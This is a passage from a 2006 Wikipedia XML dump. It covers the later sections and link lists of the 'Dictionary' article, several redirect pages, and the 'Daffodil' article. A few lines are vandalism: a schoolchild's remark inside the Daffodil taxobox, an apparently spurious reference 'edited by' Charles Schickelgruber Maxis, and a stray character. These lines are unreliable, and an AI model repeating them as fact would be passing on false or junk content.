Today, dictionaries of languages with [[alphabet]]ic and syllabic [[writing system]]s list words in alphabetical or some analogous phonetic order. Words and characters in [[ideographic]] writing systems such as [[Chinese character|Chinese]] are sorted according to one of numerous schemes based on the components, number of [[Stroke order|strokes]], overall shape, or pronunciation of each character. Due to the nature of Chinese characters, linear sorts are particularly unsuitable for Chinese dictionaries. ''(See [[collation]] for more information on linguistic sorting).''

The first English alphabetical dictionary came out in [[1604]] and alphabetical ordering was a rarity until the [[18th century]].  Before alphabetical listings, dictionaries were organized by topic, i.e. a list of animals all together in one topic.

==Pronunciation==

Dictionaries have had a variety of means of expressing the means of pronouncing words in those languages that are not entirely phonetic. Three different methods are common. 

The earliest was simply to indicate the syllables that have greater stress using accent marks, such as in [[Samuel Johnson]]'s eighteenth century dictionary. Here the accent mark followed the stressed syllable. This is analogous to the tonal marks for Chinese or the [[accent nucleus]] for Japanese. Regular languages such as Spanish do not need any special marking for this purpose. 

For languages that have no official standard pronunciation, like English or German, a system of [[respelling]] was introduced with the letters given [[diacritic]]s, also known as accent marks, (e.g., [[macron]]s, [[tilde]]s, [[breve]]s, [[circumflex]]es) that do not occur in ordinary writing, to assist the reader in pronouncing the words. These had the additional capacity for accepting regional differences, especially in a federal society. For example, most Americans pronounce the first vowel in one group of words such as &quot;ask&quot; and &quot;dance&quot; in one manner, while it is standard for the English to pronounce them in a consistently different manner. Some dictionaries before 1970 added an accent mark of one dot atop the letter &quot;a,&quot; which specifies this choice, rather than either one definitively. 

Finally, totally new [[phonetic alphabet]]s such as [[IPA]] were devised, especially for those languages like French which have an official pronunciation. These use an accent mark that precedes a stressed syllable. It is also used to indicate only one preferred pronunciation, such as [[Received pronunciation|RP]] or [[General American]], for foreigners to learn the language or for domestic people to alter their dialect. Currently this system has prestige, but it cannot easily interrelate dialectic variations.

==Coverage==

Dictionaries vary wildly in size and scope. A dictionary that attempts to cover as many words from a particular speech community as possible is called a [[maximizing dictionary]] (e.g. the ''[[Oxford English Dictionary]]''), whereas a dictionary that attempts to cover only a limited selection of words from a speech community is called a [[minimizing dictionary]] (e.g. a dictionary containing the 2000 most frequently used words in the English language).

==Special-purpose dictionaries==

There are many different types of dictionaries, including bilingual, multilingual, historical, biographical, and geographical dictionaries.

===Bilingual dictionaries===

In [[Bilingual dictionary|bilingual dictionaries]], each entry has translations of words in another language. For example, in a Japanese-English dictionary, the entry ''tsuki'' has the corresponding English word, ''moon.''  In dictionaries between English and a language using a non-[[Roman alphabet|Roman]] script, entry words in the non-English language may be either printed and sorted in the native order, or [[Romanization|romanized]] and sorted in Roman alphabetical order.

===Specialized dictionaries===

Specialized dictionaries (also referred to as technical dictionaries) focus on linguistic and factual matters relating to specific subject fields. A [[specialized dictionary]] may have a relatively broad coverage, e.g. a [[picture dictionary]], in that it covers several subject fields such as science and technology (a [[multi-field dictionary]]), or their coverage may be more narrow, in that they cover one particular subject field such as law (a [[single-field dictionary]]) or even a specific sub-field such as contract law (a [[sub-field dictionary]]). Specialized dictionaries may be [[Maximizing dictionary|maximizing dictionaries]], i.e. they attempt to achieve comprehensive coverage of the terms in the subject field concerned, or they may be [[Minimizing dictionary|minimizing dictionaries]], i.e. they attempt to cover only a limited number of the specialized vocabulary concerned. Generally, multi-field dictionaries tend to be minimizing, whereas single-field and sub-field dictionaries tend to be maximizing. See also [[LSP dictionary]].

===Character dictionaries===

In East Asian languages, a dictionary form for [[Chinese character|Han (Chinese) characters]] has developed, called ''Kan-wa jiten'' (literally 'Han-Japanese dictionary') in Japanese and ''Okpyeon'' ('Jewel Book') in Korean.  Each entry has one Chinese character with information about [[stroke (Chinese character)|stroke]] count and order, readings (pronunciations), and a list of words using that character.

===Data dictionaries===

Data sets and databases collected and utilized for statistical analysis are typically accompanied by, or able to be used to generate, a list of all [[variable]] names used within the data set, as well as matters such as their meaning, values, [[level of measurement]], length, decimal allowances, and stype (numeric, string, etc.)

===Glossaries===

Another variant is the [[glossary]], an alphabetical list of defined terms in a specialized field, such as medicine or science. The simplest dictionary, a [[defining dictionary]], provides a [[core glossary]] of the simplest meanings of the simplest concepts. From these, other concepts can be explained and defined, in particular for those who are first learning a language.  In English, the commercial defining dictionaries typically include only one or two meanings of under 2000 words.  With these, the rest of English, and even the 4000 most common English [[idiom]]s and [[metaphor]]s, can be defined.

==Variations between dictionaries==

===Prescription and description===

Dictionary makers apply two basic philosophies to the defining of words: [[Prescription and description|''prescriptive'' or ''descriptive'']]. The ''[[Oxford English Dictionary]]'' (OED) is ''descriptive'', and attempts to describe the actual use of words.  [[Noah Webster]], on the other hand, intent on forging a distinct identity for the [[American language]], altered spellings and accentuated differences in meaning and pronunciation of numerous words.  This is why [[American English]] now uses the spelling &quot;color&quot; while the rest of the world uses &quot;colour&quot;.  (See [[American and British English differences]].)  While disapproved of in the UK, the US spellings are universally understood; likewise the British spellings are not acceptable in America.

While descriptivists would charge that prescriptivism is an unnatural attempt to dictate usage or curtail change,  prescriptivists would argue that to document, without judgment, usages which they consider improper or inferior sanctions those usages by default, causing the language to deteriorate in practice.  Although much is made of these differing views, they usually apply to a very small number of controversial words, while not affecting the vast majority for which there is common agreement.  But the softening of usage notations, from the previous edition, for two words, ''ain't'' and ''irregardless,'' out of over 450,000 in [[Webster's Third New International Dictionary|Webster's Third]] in [[1961]], was enough to provoke outrage among many with prescriptivist leanings, who branded the dictionary as &quot;permissive.&quot;  

The prescriptive/descriptive issue has been given so much consideration in modern times that most dictionaries of English apply the descriptive method to definitions, while additionally informing readers of attitudes which may influence their choices on words often considered vulgar, offensive, erroneous, or easily confused.  ''[[Merriam-Webster]]'' is subtle, only adding italicized notations such as, ''sometimes offensive'' or ''nonstand'' (nonstandard.)  [[American Heritage Dictionary|''American Heritage]]'' goes further, discussing issues separately in numerous &quot;usage notes.&quot;   [[Encarta Webster's Dictionary|''Encarta]]'' provides similar notes, but is more prescriptive, offering warnings and admonitions against the use of certain words considered by many to be offensive or illiterate, such as, &quot;an offensive term for...&quot; or &quot;a taboo term meaning...&quot;

Because of the broad use of dictionaries, and their acceptance by many as language authorities, their treatment of the language does affect usage to some degree, even the most descriptive dictionaries providing conservative continuity.  In the long run, however, usage primarily determines the meanings of words in English, and the language is being changed and created every day.  As [[Jorge Luis Borges]] says in the prologue to &quot;El otro, el mismo&quot;: &quot;''It is often forgotten that (dictionaries) are artificial repositories, put together well after the languages they define.  The roots of language are irrational and of a magical nature.''&quot;

===Other variations===

Since words and their meanings develop over time, dictionary entries are organized to reflect these changes.  Dictionaries may either list meanings in the historical order in which they appeared, or may list meanings in order of popularity and most common use.  

Dictionaries also differ in the degree to which they are ''encyclopedic'', providing considerable background information, illustrations, and the like, or ''linguistic'', concentrating on etymology, nuances of meaning, and quotations demonstrating usage.

Any dictionary has been designed to fulfil one or more functions. The dictionary functions chosen by the maker(s) of the dictionary provide the basis for all lexicographic decisions, from the selection of entry words, over the choice of information types, to the choice of place for the information (e.g. in an article or in an appendix). There are two main types of function. The communication-oriented functions comprise text reception (understanding), text production, text revision, and translation. The knowledge-oriented functions deal with situations where the dictionary is used for acquiring specific knowledge about a particular matter, and for acquiring general knowledge about something. The optimal dictionary is one that contains information directly relevant for the needs of the users relating to one or more of these functions. It is important that the information is presented in a way that keeps the [[lexicographic information cost]]s at a minimum.

==History==

The art and craft of writing dictionaries is called [[lexicography]].  

One of the earliest dictionaries known, and which is still extant today in an abridged form, was written in [[Latin]] during the reign of the emperor [[Augustus]].  It is known by the title &quot;De Significatu Verborum&quot; (&quot;On the meaning of words&quot;) and was originally compiled by [[Verrius Flaccus]].  It was twice abridged in succeeding centuries, first by [[Festus]], and then by [[Paul the Deacon]].  Verrius Flaccus' dictionary was an abridged list of difficult or antiquated words, whose usage was illustrated by quotations from early Roman authors.

''[[Shuo Wen Jie Zi]]'' (说文解字), written in the early [[2nd century]], was the first [[Chinese language]] dictionary. The author [[Xu Shen]] first organized [[Chinese characters]] by [[radical (Chinese character)|radical]].

The first true English dictionary was the ''[[Table Alphabeticall]]'' of [[1604]], although it only included 3,000 words and the definitions it contained were little more than synonyms. The first one to be at all comprehensive was [[Thomas Blount (Lexicographer)|Thomas Blount]]'s dictionary ''Glossographia'' of [[1656]].  This was followed by [[Samuel Johnson]]'s famous and more complete dictionary of [[1755]].

In [[1806]], Noah [[Webster's Dictionary|Webster's dictionary]] was published by the G&amp;C Merriam Company of [[Springfield, Massachusetts]] which still publishes ''Merriam-Webster'' dictionaries, but the term ''Webster's'' is considered generic and can be used by any dictionary.

The most complete dictionary of the English language is the [[Oxford English Dictionary]]. The first edition was properly begun in 1860 and was completed in 1928, by which time a supplement that took an additional five years to complete was already necessary.

Also see [http://angli02.kgw.tu-berlin.de/lexicography/data/b_history.html A Brief History of English Lexicography]
ʄ

==Miscellaneous==

The Irish mathematical physicist, [[John Lighton Synge|J. L. Synge]], created a game, [[Game of Circ]], to emphasize the circular reasoning implicit in the defining process of any standard dictionary.

==List of major dictionaries==

===Arabic===
*[[Kitab al-Ayn]]
*Al Mujam al waseet
*[[Dictionary of Modern Written Arabic]]

===Breton===
* [[Geriadur Brezhoneg an Here]]

===Catalan===
*[http://www.grec.net/home/cel/dicc.htm Diccionari de l'Enciclopèdia Catalana]
*[http://pdl.iec.es/entrada/diec.asp Diccionari de l'Institut d'Estudis Catalans]

===Chinese===
*[[Shuowen Jiezi]](《说文解字》)(an dictionary of ancient Chinese)
*[[Kangxi dictionary]](《康熙字典》)(an dictionary of ancient Chinese)
*[[Rime dictionary]]
*[[Xinhua dictionary]](《新华字典》)(an dictionary of contemporary Chinese)
NOTE:All the Chinese given above are in simplified Chinese character.(in GB code,not in Unicode)

===Dutch===
*[http://www.vandale.nl Van Dale]
*[http://blackorwhite.nl/woordenboek Online Nederlands Woordenboek]

===English===
* [[Oxford English Dictionary]] (descriptive)
* [[Concise Oxford Dictionary]]
* [[New Oxford Dictionary of English]]
* [[New Oxford American Dictionary]]
* [[The American Heritage Dictionary of the English Language]]
* [[Webster's New Universal Unabridged Dictionary]]
* [[Samuel Johnson]]'s [[A Dictionary of the English Language]] (prescriptive)
* [[Noah Webster]]'s ''An American Dictionary of the English Language'' (prescriptive)
* ''[[Webster's Dictionary|Webster's Third New International Dictionary]]'' (descriptive)
* [[The Century Dictionary]]
* The [[Macquarie Dictionary]], a dictionary of [[Australian English]]
* The [[Chambers Dictionary]]
* The [[HarperCollins|Collins]] [[COBUILD]]
* The [[HarperCollins|Collins English Dictionary]]
* [[Longman|Longman Dictionary of Contemporary English]]
* [http://lawyerintl.com/modules/dictionary/ Law Dictionary] - includes legal terms from the Bouvier Law Dictionary.
* [http://www.w3dictionary.com/ W3Dictionary] - incorporates several popular and reliable dictionaries into one online source.
* [http://deanslawdictionary.com/ Dean's Law Dictionary] - created by artificial intelligence with over 185,000 terms and 300,000 case cites.

===French===

*[[Le dictionnaire de l'Académie française]] (prescriptive)
*[[Dictionnaire alphabétique et analogique de la langue française]] (&quot;Le Robert&quot;) (descriptive)
**[[Petit Robert]] (abridgement)
*[[Dictionnaire de la langue française (Littré)]]

===German===

*[[Duden]]
*[[Der Große Muret Sanders]] by Langenscheidt
*[[Deutsches Rechtswörterbuch]] http://www.rzuser.uni-heidelberg.de/~cd2/drw/ 
*[[Deutsches Wörterbuch]] by Jacob and Wilhelm Grimm http://www.dwb.uni-trier.de/
*Wörterbuch der deutschen Gegenwartssprache http://www.dwds.de/?woerterbuch=1&amp;qu=
*[[ PONS Großwörterbuch Englisch]]

===Hebrew===
*The Complete Dictionary of Ancient and Modern Hebrew
*[[Even-Shoshan Dictionary]]

===Italian===
*[http://www.demauroparavia.it De Mauro] Italian definition
*[http://www.oxfordparavia.it Oxford Paravia] Italian«--»English
*[http://www.garzantilinguistica.it Garzanti Linguistica] Italian definition, Italian«--»English, Italian«--»French (free registration is required)
*[http://www.dejudicibus.it/dizionario/ Programma Dizionario] Over 90 free dictionaries from/to Italian by ''Dictionary Team''

===Japanese===
:''Main article: [[Japanese dictionaries]]
* [[Shin Meikai kokugo jiten]] (新明解国語辞典), a medium-sized Japanese-Japanese dictionary
* [[Kojien|Kōjien]] (広辞苑), a large, often quoted Japanese-Japanese dictionary
* [[Nihon Kokugo Daijiten]] (日本国語大辞典), the largest Japanese-Japanese dictionary, in 14 volumes
* [[Shogakukan Progressive Japanese-English Dictionary]] (小学館 プログレッシブ和英中辞典), a medium-sized [[Japanese language|Japanese]]-English Dictionary
* [[Kenkyusha's New Japanese-English Dictionary]] (新和英大辞典), the largest Japanese-English Dictionary
* [[Dai Kan-Wa jiten]] (大漢和辞典), a comprehensive [[kanji]] dictionary containing about 50,000 characters.

===Norwegian===
* [[Norsk Ordbok]]

===Portuguese===
* [[Novo Dicionário da Língua Portuguesa]] (Dicionário Aurélio)
* [[Dicionário Houaiss da Língua Portuguesa]]
* [[Michaelis]]
* [[Dicionário do Português Contemporâneo]] (Lisbon Academy of Sciences)
* [[Grande Dicionário da Língua Portuguesa]] (Porto Editora)
* [http://www.priberam.pt/dlpo/dlpo.aspx Priberam]

===Romanian===
* [[Dicţionarul explicativ al limbii române]]

===Russian===
*[[Vladimir Dahl]]'s Explanatory Dictionary of the Live Great Russian language
*[[Sergei Ozhegov]]'s Dictionary of the Russian Language (''Slovar' Russkogo Yazyka'')
*Dictionary of International Words (''Slovar' Inostrannykh Slov'')

===Spanish===
* Diccionario de la [[Real Academia Española]] [http://buscon.rae.es/diccionario/drae.htm]
* Diccionario de uso del español de [[María Moliner]]

===Swedish===
*[[Svenska Akademiens Ordbok]]
*[[Svenska Akademiens Ordlista]]

===Urdu===
*[[Feroze ul Lughat]]

===Publishers===
*[[Cambridge University Press]]
*[[Chambers Harrap]]
*[[HarperCollins|Collins]]
*[[Funk and Wagnalls]]
*[[Merriam-Webster]]
*[[Oxford University Press]]
*[[Longman]]
*[[Państwowe Wydawnictwo Naukowe]]

==List of online dictionaries==
&lt;!--  List should be shortened --&gt;
# Online versions of printed dictionaries
#*[http://www.m-w.com/ The Merriam-Webster Dictionary]
#*[http://www.oed.com/ The Oxford English Dictionary] (requires subscription)
#*[http://www.askoxford.com/dictionaries The Compact Oxford English Dictionary]
#*[http://dictionary.cambridge.org/ Cambridge Advanced Learner's Dictionary etc. (Cambridge Dictionaries Online)]
#*[http://www.ldoceonline.com/ Longman Dictionary of Contemporary English]
#*[http://eedic.naver.com/ Collins COBUILD Advanced Learner's English Dictionary 4th edition (note: Korean site, but all results in English)]
#*[http://www.cooldictionary.com/ Talking, fully crosslinked dictionary using Webster, Wiktionary and Wikipedia]
#*[http://www.bartleby.com/61/ The American Heritage® Dictionary of the English Language Fourth Edition]
#*[http://www.macquariedictionary.com.au The Macquarie Dictionary] Australian English (requires subscription)
#*[http://www.americana.ru Americana English-Russian Dictionary] - the first bilingual dictionary about the United States, over 20,000 entries
#*[http://www.dwds.de/wdg W&amp;ouml;rterbuch der deutschen Gegenwartssprache] (Dictionary of contemporary German language)
#*[http://www.blueray.com/magic/ Magic Words: A Dictionary] (free online version, 500+ essay-style entries)
#*[http://www.wikifetcher.com/ Create your own dictionary service]
#*[http://dictionary.goo.ne.jp/ Four Japanese Dictionaries] published by Sanseido, including the EXCEED EJ/JE dictionaries and the big Daijirin monolingual dictionary
#*[http://kod.kenkyusha.co.jp/service/ Kenkyusha Online Dictionary] featuring several major print dictionaries including the 5th edition New Japanese-English Dictionary (subscription)
# Online-only general dictionaries
#* [http://dictionary.wowla.com Wowla Dictionary] Free online searchable dictionary containing over 315,000 entries.
#* [http://www.doubletongued.org Double-Tongued Word Wrester] A dictionary of new and old words from the fringes of English, professionally collected, researched, and defined. Includes slang, argot, jargon, and colloquialisms.
#* [http://www.dendanskenetordbog.dk/netdob/ Netordbogen]
#* [http://www.giantpicturedictionary.com/ Picture Dictionary] Online Picture Dictionary with search function. Uses pictures and symbols from Universal Picture Language. Grasp the meaning of a word with just a glance at its representative picture.
#* [http://open-dictionary.com/ Open Dictionary] Offers various definitions, translations and pronunciations in many languages (uses Wiktionary and WordNet for most of its entries).
#* [http://www.wordwebonline.com WordWebOnline.com] A dictionary/thesaurus and meta-search (also available as a [http://wordweb.info/free/ free download])
#* [http://www.thefreedictionary.com TheFreeDictionary.com] A dictionary, a thesaurus, a literature reference library, and a search engine all in one.
#* [http://www.hyperdictionary.com hyperdictionary.com] One of the more comprehensive online dictionaries.
#* [http://www.elook.org/dictionary/ eLook Dictionary] A dictionary with synonyms, antonyms, and related words.
#* [http://lookword.com/ Lookword free online Dictionary] English dictionary.
#* [http://www.webster-dictionary.org/ www.webster-dictionary.org] A dictionary and a thesaurus. A republisher of existing Internet dictionaries.  Appears to be an attempt at a [[portal]] site.
#* [http://www.dictionary.com Dictionary.com] A dictionary and thesaurus and other language aids.
#* [http://www.dictionaryofwords.com Dictionary of words] Dictionary and thesaurus from multiple sources.
#* [http://www.dictionary.co.uk Dictionary.co.uk] A British English online dictionary.
#*[http://www.dictionarydefinition.net/ Dictionary Definition]
#*[http://www.english-dictionary.us/ English dictionary] Fast and simple English dictionary with US and UK spellings.
#*[http://www.objectgraph.com/dictionary ObjectGraph.com] Suggestive dictionary, Suggests words as you type.
#*[http://www.misspelled.com/ Misspelled.com Dictionary Definitions of English Words]
#* Portuguese: [http://www.priberam.pt/dlpo/dlpo.aspx]
# Dictionary Collections 
#* [http://www.dicts.info All free dictionaries project] Vast collection of all existing free dictionaries.
#* [http://dmoz.org/Reference/Dictionaries/ Dictionaries listed on DMOZ]
#* [http://www.freesearch.co.uk/dictionary/ freesearch dictionary] British English dictionary provided by Cambridge University.
#* [http://www.HavenWorks.com/dictionary HavenWorks]
#* [http://www.netzdino.de/woerterbuch.html Woerterbuch] List of available Online-Dictionaries.
#* [http://www.onelook.com OneLook] Searches almost 1000 online dictionaries for more than 6 million indexed words.
#* [http://www.dictionary.info Dictionary]
#* [http://www.yourdictionary.com Yourdictionary.com] Large list of online dictionaries.
#* [http://www.majstro.com/Web/Majstro/wboek_zoek.php?gebrTaal=eng&amp;bronTaal=eng&amp;doelTaal=eng Majstro's dictionary database] Dictionary search
#* [http://www.a-z-dictionaries.com A-Z-Dictionaries] Large collection of dictionaries and resources.
#* [http://www.xrefer.com xrefer] Offers access to dictionaries and other reference works. Pay site.
# Specialty Dictionaries
#* [http://www.washjeff.edu/capl/ CAPL: Culturally Authentic Pictorial Lexicon] German-English bidirectional visual dictionary with authentic images of German speaking world
#* [http://www.blueray.com/dictionary/ Dictionaries of All-Consonant and All-Vowel Words] Several thousand definitions of unusual words, with copious literary examples of usage.
#* [http://www.dict.pl e-DICT] English-Polish, Polish-English dictionary
#* [http://www.dep.pl DeP] German-Polish, Polish-German dictionary
#* [http://www.sprog.asb.dk/sn/cisg/ Danish-English Law Dictionary] The only on-line dictionary covering Danish and English legal language.
#* [http://netdob.asb.dk/iasdkgb/ Danish-English Accounting Dictionary] The authoritative dictionary on Danish and English accouting terminology with collocations and phrases.
#* [http://www.chass.utoronto.ca/english/emed/emedd.html The Early Modern English Dictionaries Database] A collection of the earliest English language dictionaries.
#* [http://www.pseudodictionary.com Pseudodictionary] Slang, colloquialisms, and made-up words. Accepts new entries. No intent to be a serious reference work.
#* [http://www.urbandictionary.com/ Urban Dictionary] Slang dictionary that you can edit.
#* [http://skepdic.com/ The Skeptic's Dictionary] Dictionary taking a cynical view on [[new age]] and [[occult]] words.
#* [http://www.diccionaris.net Catalan Dictionaries] Catalan-English, English-Catalan dictionary
# Multilingual Dictionaries
#* [http://www.dicts.info/ud.php Universal dictionary] Multilingual dictionary interconnecting more than 35 languages. 
#* [http://www.freetranslate.org Freetranslate.org] Firefox extension supported Multilingual dictionary. 
#* [http://www.popjisyo.com/WebHint/Portal_e.aspx POPjisyo is an Online Japanese/Chinese/Korean/English dictionary] which adds pop-up hints to other sites and generates study-lists/matching games based on content.
#* [http://www.majstro.com/Web/Majstro/dict.php?gebrTaal=eng&amp;bronTaal=epo&amp;doelTaal=eng Majstro Multilingual Translation Dictionary]: An on-line translation dictionary that uses Esperanto as a bridge language
#* [http://www.online-dictionary.biz/ Online dictionary] free multi-lingual online dictionary between English and one of nine other languages.
#* [http://www.shabdkosh.com English-Hindi Dictionary ]
#* [http://education.yahoo.com/reference/dict_en_es/ Yahoo! Spanish-English Dictionary]
#* [http://www.tomisimo.org Tomisimo Spanish-English Dictionary]
#* [http://www.websters-online-dictionary.org/ Webster's Online Dictionary] &amp;ndash; the Rosetta Edition. Over 3,000,000 terms across 90 languages.
#* [http://dict.leo.org/ Leo] - English-German (and vice-versa) dictionary; English-French (and vice-versa) dictionary, cf. [[leo.org]]
#* [http://www.ego4u.com/en/dictionary English-German Dictionary] (and vice-versa) with [[International Phonetic Alphabet|IPA]] [[pronunciation]] information
#* [http://europa.eu.int/eurodicautom/Controller Terminology database of the EU], with 11 [[European Union|EU]] languages
#* [http://www.sprawk.com/ Sprawk Semantic Dictionary], based on WordNet with over 20 languages 
#* [http://www.woerterbuch.info woerterbuch.info] - English-German Dictionary with over 600.000 translations
#* [http://www.dict.cc/ dict.cc] - English-German (and vice-versa) Dictionary
#* [http://www.ilexer.org/ ilexer] - English-German (and vice-versa) Dictionary
#*[http://www.csse.monash.edu.au/~jwb/wwwjdic.html WWWJDIC] online Japanese-English/German/French dictionary. Has text-glossing, verb conjugations, etc.
#* [http://www.spanish-translator-services.com/dictionaries/finance-english-spanish/index.htm English - Spanish Financial Dictionary] English to Spanish Dictionary of Finance Terms.
#* [http://www.spanish-translator-services.com/dictionaries/finance-spanish-english/index.htm Spanish - English Financial Dictionary] Spanish to English Dictionary of Finance Terms.
#* [http://www.spanish-translator-services.com/dictionaries/accounting-spanish-english/index.htm English - Spanish Accounting Dictionary] Spanish to English Dictionary of Acounting Terms.
#* [http://www.spanish-translator-services.com/dictionaries/accounting-english-spanish/index.htm Spanish - English Accounting Dictionary] English to Spanish Dictionary of Acounting Terms.
#* [http://www.yellowbridge.com/language/worddict.html Chinese-English Talking Dictionary] Chinese - English dictionary with word and character etymological decomposition.
#* [http://www.chinese-tools.com/tools/chinese-french-dictionary.html Chinese - French Dictionary] - [http://www.chinese-tools.com/tools/chinese-spanish-dictionary.html Chinese - Spanish Dictionary] - [http://www.chinese-tools.com/tools/dictionary.html Chinese - English Dictionary]
#* [http://iyoway.jp/iso_comdic_top001.htm Basic Computer dictionary (English, Chinese, Japanese, Trilingual dictionary)] Downloadable GIF pages by iyoway.jp

# Downloadable Dictionaries
#* [http://www.dicts.info/uddl.php Universal dictionary download] - Hundreds of downloadable free dictionaries.
#* [http://msowww.anu.edu.au/~ralph/OPTED/index.html Online Plain Text English Dictionary] &amp;ndash; based on the Gutenberg Webster's Abridged Dictionary
#* [http://www.gutenberg.net/cgi-bin/search/t9.cgi?author=&amp;title=webster%27s+abridged&amp;subject=&amp;ntes=&amp;whole=yes&amp;language=&amp;filetype=&amp;class_lc= The Gutenberg Webster's Abridged Dictionary] &amp;ndash; In parts.  First 200 pages available without copyrights, rest available.
#* [http://wordweb.info/free/ WordWeb] Free international English dictionary for Windows (Pro version also available)
#* [http://www.ifinger.com/shop/productpresentation.asp?pID=44 iFinger: FREE Merriam-Webster Concise Dictionary] Free registration is required after clicking on &lt;small&gt;DOWNLOAD&lt;/small&gt;
#* [http://www.ego4u.com/en/lingo4u-dictionary Lingo4u Dictionary] - English-German Dictionary for Windows ([[Freeware]])

The [[DICT]] protocol is a client/server model for dictionaries. Many free dictionaries are appearing in the dict format.

==List of collaborative dictionaries==
An [[open content]] dictionary project is the [[Collaborative International Dictionary of English]], using ''[[Webster's Dictionary|Webster's Revised Unabridged Dictionary]]'' (1913) and [[WordNet]] as its sources. The [[GNU]] version of it, [[GCIDE]], is being developed collaboratively under the terms of the [[GNU General Public License]].

Other collaborative dictionary projects:

* Papillon Multilingual Dictionary with a Pivot Structure [http://www.papillon-dictionary.org]
* [[EDICT]] Digital Japanese-English dictionary. [http://www.csse.monash.edu.au/~jwb/edict.html]
* [[Everything2]] Contains, among other things, an entire ''Webster 1913'' dictionary
* [[freedict]] Bilingual dictionaries, released under the [[GPL]]
* [[PseudoDictionary]] New coinages and unusual words, mostly slang
* [http://akira.arts.kuleuven.ac.be/waran/tools_e.html Reading Tutor] - Digital multilingual dictionary: Japanese-Japanese, Japanese-English, Japanese-German, Japanese-Dutch
* [http://www.1st-dictionary.com Free Online Dictionary] Easy to use dictionary, containing over 170,000 terms and definitions, and also a large thesaurus with related words for each term
* [[Urban Dictionary]] Slang dictionary
* [[Wiktionary]] A sister project of the well-known collaborative encyclopedia [[Wikipædia]]

== See also ==
* [[Thesaurus]]
* [[Rhyming dictionary]]
* [[Pronouncing dictionary]]
* [[Monolingual learners' dictionaries]]
* [[Encyclopedic dictionary]]
* [[Corpus linguistics]]
* [[COBUILD]], a large [[corpus]] of English text
* [[Pronunciation (simple guide to markup, American)]] 
* [[DICT]], the dictionary server protocol
* [[Lexicographic error]]
* [[Centre for Lexicography]]
* [[Lexigraf]]

==References==
{{Wiktionary}}

*''Manual of Specialised Lexicography'', Henning Bergenholtz/Sven Tarp (eds.), Benjamins Publishing, 1995
*''Diction and Stylistics of the 21st century'', Darwin, Charles Schickelgruber Maxis (ed.), Jackson Publishing, 2001
*''The Bilingual LSP Dictionary'', Sandro Nielsen, Gunter Narr Verlag 1994
*''Dictionaries, The Art and Craft of Lexicography'', Sidney I. Landau, Simon &amp; Schuster, 1998, hardcover, ISBN 0684180960
*''The Professor and the Madman, A Tale of Murder, Insanity, and the Making of the Oxford English Dictionary'', Simon Winchester, HarperPerennial, New York, 1998, trade paperback, ISBN 0-06-017596-6. (published in the UK as ''The Surgeon of Crowthorne'')

[[Category:Dictionaries]]
[[Category:Technical communication tools]]

[[af:Woordeboek]]
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[[fr:Dictionnaire]]
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[[zh:字典]]</text>
    </revision>
  </page>
  <page>
    <title>Daubentoniidae</title>
    <id>7932</id>
    <revision>
      <id>42047220</id>
      <timestamp>2006-03-03T12:52:18Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Aye-aye]] {{R from scientific name}}</text>
    </revision>
  </page>
  <page>
    <title>Daffodil</title>
    <id>7933</id>
    <revision>
      <id>42123797</id>
      <timestamp>2006-03-03T23:52:40Z</timestamp>
      <contributor>
        <ip>205.188.117.7</ip>
      </contributor>
      <text xml:space="preserve">''This article discusses daffodil flowers. See [[Daffodil (disambiguation)]] for other meanings.''

{{Taxobox
| color = lightgreen
| name = Daffodils
| image = Traditionaldaffodils.jpg
| image_width = 200px
| image_caption = Traditional daffodils
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Monocotyledon|Lilliopsida]]
| ordo = [[Liliales]]
| familia = [[Amaryllidaceae]]
| genus = [[Narcissus (flower)|Narcissus]]
| species = [[Narcissus jonquilla|jonquilla]]
|  subdivision_ranks = Species
| subdivision = 
   i think that josh lister should not have to do this science report.
many, depending on the botanist&lt;br /&gt;
}}

'''Daffodils''' form a group of large-[[flower]]ed members of the genus ''[[Narcissus (flower)|Narcissus]]''. Most daffodils look yellow, but yellow-and-white, yellow-and-orange, white-and-orange, pink, and lime-green [[cultivar]]s also exist. Daffodils grow [[perennial plant | perennially]] from [[bulb]]s. In temperate climates they flower among the earliest blooms in [[spring (season) | spring]]: to this extent daffodils both represent and herald spring. They often grow in large clusters, covering lawns and even entire hillsides with yellow.

All daffodils have a central trumpet-shaped [[corona (disambiguation) | corona]] surrounded by a ring of [[petal]]s. The traditional daffodil has a golden yellow color all over, but the corona may often feature a contrasting color. Breeders have developed some daffodils with a double or triple row of petals, making them resemble a small golden ball. Other cultivars have frilled petals, or an elongated or compressed central corona.

{| align=left
|-
|[[image:paledaffodils.jpg|thumb|left|Pale daffodils]]
|-
|[[Image:Unknown garden flower 6.jpg|thumb|left|A multicolor daffodil variety]]
|-
|[[Image:Unknown garden flower 7.jpg|thumb|left|An all-white daffodil]]
|-
|[[Image:Unknown garden flower 8.jpg|thumb|left|Double and triple varieties have more petals]]
|}

All daffodils belong to the genus ''Narcissus''. Daffodil is the common English name for them all, and Narcissus is the Latin, botanical name for them all.  Some people refer to daffodils as &quot;[[jonquil]]s&quot;, from the Spanish name for the flower, although properly this name belongs only to hybrids of ''[[Narcissus jonquilla]]''.

The daffodil serves the national flower of [[Wales]]. One species, ''[[Narcissus obvallaris]]'', grows only in a small area around [[Tenby]]. In [[Wales]] it is traditional to wear a daffodil on [[Saint David's Day]] ([[1 March]]).

In the [[language of flowers]], daffodils signify [[chivalry]] and/or [[respect]].  

The name of the flower is derived from an earlier &quot;affodell&quot;, a variant of [[asphodel]]. The reason for the introduction of the initial &quot;d&quot; is not known, though from at least the sixteenth century  &quot;Daffadown Dilly&quot; or &quot;daffadowndilly&quot; has appeared as a playful synonym of the name.

[[William Wordsworth]]'s short poem &quot;I wandered lonely as a cloud&quot; has often become linked in the popular mind with the daffodils which form its main image.

[[cy:Cenhinen Bedr]]
[[de:Narzissen]]
[[fa:&amp;#1606;&amp;#1585;&amp;#1711;&amp;#1587; (&amp;#1711;&amp;#1604;)]]
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[[zh:&amp;#27700;&amp;#20185;]]

[[Category:Flowers]]
[[Category:Liliales]]
[[Category:Garden plants]]
[[Category:Welsh culture]]</text>
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  </page>
  <page>
    <title>DavidFriedman</title>
    <id>7934</id>
    <revision>
      <id>15905967</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[David Friedman]]
</text>
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  </page>
  <page>
    <title>David Friedman</title>
    <id>7935</id>
    <revision>
      <id>41302301</id>
